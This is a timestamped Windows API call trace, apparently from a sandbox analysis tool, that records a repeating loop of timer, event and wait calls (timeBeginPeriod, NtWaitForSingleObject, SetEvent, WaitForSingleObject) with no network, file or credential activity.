	[0040.904] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0040.904] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0040.907] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0040.949] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0040.982] SetEvent (hEvent=0x80) returned 1
	[0040.982] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0041.006] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0041.006] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0041.306] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0041.306] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0041.322] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0041.364] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0041.398] SetEvent (hEvent=0x80) returned 1
	[0041.398] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0041.417] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0041.417] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0041.727] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0041.727] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0041.733] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0041.774] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0041.808] SetEvent (hEvent=0x80) returned 1
	[0041.808] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0041.836] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0041.836] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0042.127] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0042.127] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0042.137] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0042.186] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0042.219] SetEvent (hEvent=0x80) returned 1
	[0042.219] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0042.242] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0042.242] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0042.559] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0042.559] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0042.577] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0042.619] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0042.653] SetEvent (hEvent=0x80) returned 1
	[0042.653] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0042.677] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0042.677] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0042.976] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0042.976] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0042.993] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0043.035] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0043.068] SetEvent (hEvent=0x80) returned 1
	[0043.068] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0043.087] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0043.087] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0043.453] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0043.453] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0043.468] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0043.510] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0043.543] SetEvent (hEvent=0x80) returned 1
	[0043.543] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0043.570] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0043.571] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0043.898] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0043.898] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0043.903] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0043.945] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0043.978] SetEvent (hEvent=0x80) returned 1
	[0043.978] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0043.997] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0043.997] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0044.290] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0044.290] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0044.298] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0044.340] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0044.373] SetEvent (hEvent=0x80) returned 1
	[0044.373] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0044.395] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0044.395] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0044.681] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0044.681] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0044.696] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0044.738] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0044.771] SetEvent (hEvent=0x80) returned 1
	[0044.771] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0044.790] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0044.790] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0045.080] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0045.080] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0045.091] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0045.132] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0045.165] SetEvent (hEvent=0x80) returned 1
	[0045.165] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0045.193] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0045.193] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0045.468] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0045.468] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0045.521] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0045.529] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0045.564] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0045.598] SetEvent (hEvent=0x80) returned 1
	[0045.598] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0045.617] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0045.617] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0045.913] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0045.914] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0045.918] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0045.959] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0045.992] SetEvent (hEvent=0x80) returned 1
	[0045.992] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0046.011] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0046.011] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0046.294] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0046.294] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0046.312] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0046.355] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0046.389] SetEvent (hEvent=0x80) returned 1
	[0046.389] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0046.409] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0046.409] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0046.690] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0046.690] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0046.695] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0046.737] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0046.770] SetEvent (hEvent=0x80) returned 1
	[0046.770] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0046.792] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0046.792] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0047.093] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0047.093] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0047.109] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0047.150] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0047.188] SetEvent (hEvent=0x80) returned 1
	[0047.188] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0047.206] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0047.206] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0047.479] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0047.479] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0047.491] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0047.533] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0047.566] SetEvent (hEvent=0x80) returned 1
	[0047.566] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0047.585] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0047.585] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0047.871] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0047.871] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0047.885] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0047.900] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0047.902] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0047.934] SetEvent (hEvent=0x80) returned 1
	[0047.934] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0047.967] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0047.967] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0048.341] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0048.341] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0048.351] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0048.392] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0048.425] SetEvent (hEvent=0x80) returned 1
	[0048.425] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0048.445] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0048.445] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0048.742] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0048.742] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0048.746] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0048.789] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0048.822] SetEvent (hEvent=0x80) returned 1
	[0048.822] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0048.845] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0048.845] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0049.148] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0049.148] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0049.161] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0049.210] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0049.243] SetEvent (hEvent=0x80) returned 1
	[0049.243] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0049.262] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0049.262] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0049.546] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0049.546] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0049.563] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0049.606] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0049.655] SetEvent (hEvent=0x80) returned 1
	[0049.655] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0049.675] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0049.675] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0049.966] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0049.966] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0049.975] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.070] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.148] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.149] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.153] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.164] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.170] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.172] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.176] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.178] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.180] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.181] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.183] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.185] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.187] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.190] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.192] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.195] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.203] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.205] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.208] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.212] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.215] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.218] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.219] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.222] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.224] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.228] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.229] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.230] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.231] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.232] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.233] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.236] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.238] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.240] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.242] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.243] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.244] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.247] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.249] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.257] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.263] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.265] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.268] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.272] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.273] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.278] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.282] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.283] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.287] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.289] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.291] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.293] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.295] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.297] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.302] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.308] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.318] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.337] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.347] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.358] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.369] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.380] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.390] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.403] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.413] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.423] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.433] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.448] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.458] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.468] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.478] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.492] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.506] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.516] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.526] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.536] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.549] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.559] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.569] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.579] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.590] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.602] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.613] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.624] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.634] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.644] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.654] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.665] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.678] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.688] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.698] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.708] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.719] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.729] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.743] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.753] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.763] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.774] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.784] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.794] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.809] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.819] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.831] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.841] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.853] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.867] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.878] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.888] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.901] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.911] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.921] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.973] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.984] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0050.995] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.008] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.018] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.031] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.042] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.052] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.062] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.075] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.085] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.096] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.106] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.119] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.144] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
